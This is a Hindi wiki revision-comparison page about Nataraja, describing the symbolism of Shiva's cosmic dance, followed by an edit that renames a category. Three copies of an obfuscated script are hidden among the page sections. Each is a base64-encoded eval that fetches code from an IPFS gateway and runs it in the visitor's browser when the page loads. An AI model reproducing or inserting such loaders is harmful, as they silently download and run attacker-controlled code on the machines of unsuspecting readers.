"नटराज" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "चिन्ह" to "चिह्न")
पंक्ति 27: पंक्ति 27:
 
[[Category:हिन्दू धर्म]] [[Category:हिन्दू धर्म कोश]]  
 
[[Category:हिन्दू धर्म]] [[Category:हिन्दू धर्म कोश]]  
 
[[Category:पौराणिक कोश]]
 
[[Category:पौराणिक कोश]]
[[Category:धार्मिक चिन्ह]]
+
[[Category:धार्मिक चिह्न]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

11:00, 1 मार्च 2012 का अवतरण

नटराज
Natraj
  • 'नटराज' शिव के 'तांडव नृत्य' का प्रतीक है।
  • चिदंबरम के गोपुर में तांडव के 108 रूप अंकित किए गये हैं। इस मूर्ति के एक एक अवयव, एक एक रेखा को वाचा प्राप्त है।
नटराज
  • डमरू से हमारी वर्णमाला प्रकट होती है।
  • चारों वाणी (परा, पश्यंती, मध्यमा, वैखरी) तथा 84 लाख योनियों के सर्जक शिव हैं।
  • शिव के दूसरे हाथ में स्थित अग्नि मलिनता दूर करती है।
  • तीसरा हाथ 'अभय मुद्रा' दर्शाती है। ऊपर उठा हाथ कहता है - ' मुक्ति की कामना हो तो माया मोह से दूर होकर ऊंचा उठो।
  • 'प्रभामंडल' प्रकृति का प्रतीक है।
  • नटराज का यह नृत्य विश्व की पांच महान क्रियाओं का निर्देशक है - सृष्टि, स्थिति, प्रलय, तिरोभाव (अदृश्य, अंतर्हित) और अनुग्रह।
  • नटराज की मूर्ति में धर्म, शास्त्र और कला का अनूठा संगम है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

सम्बंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>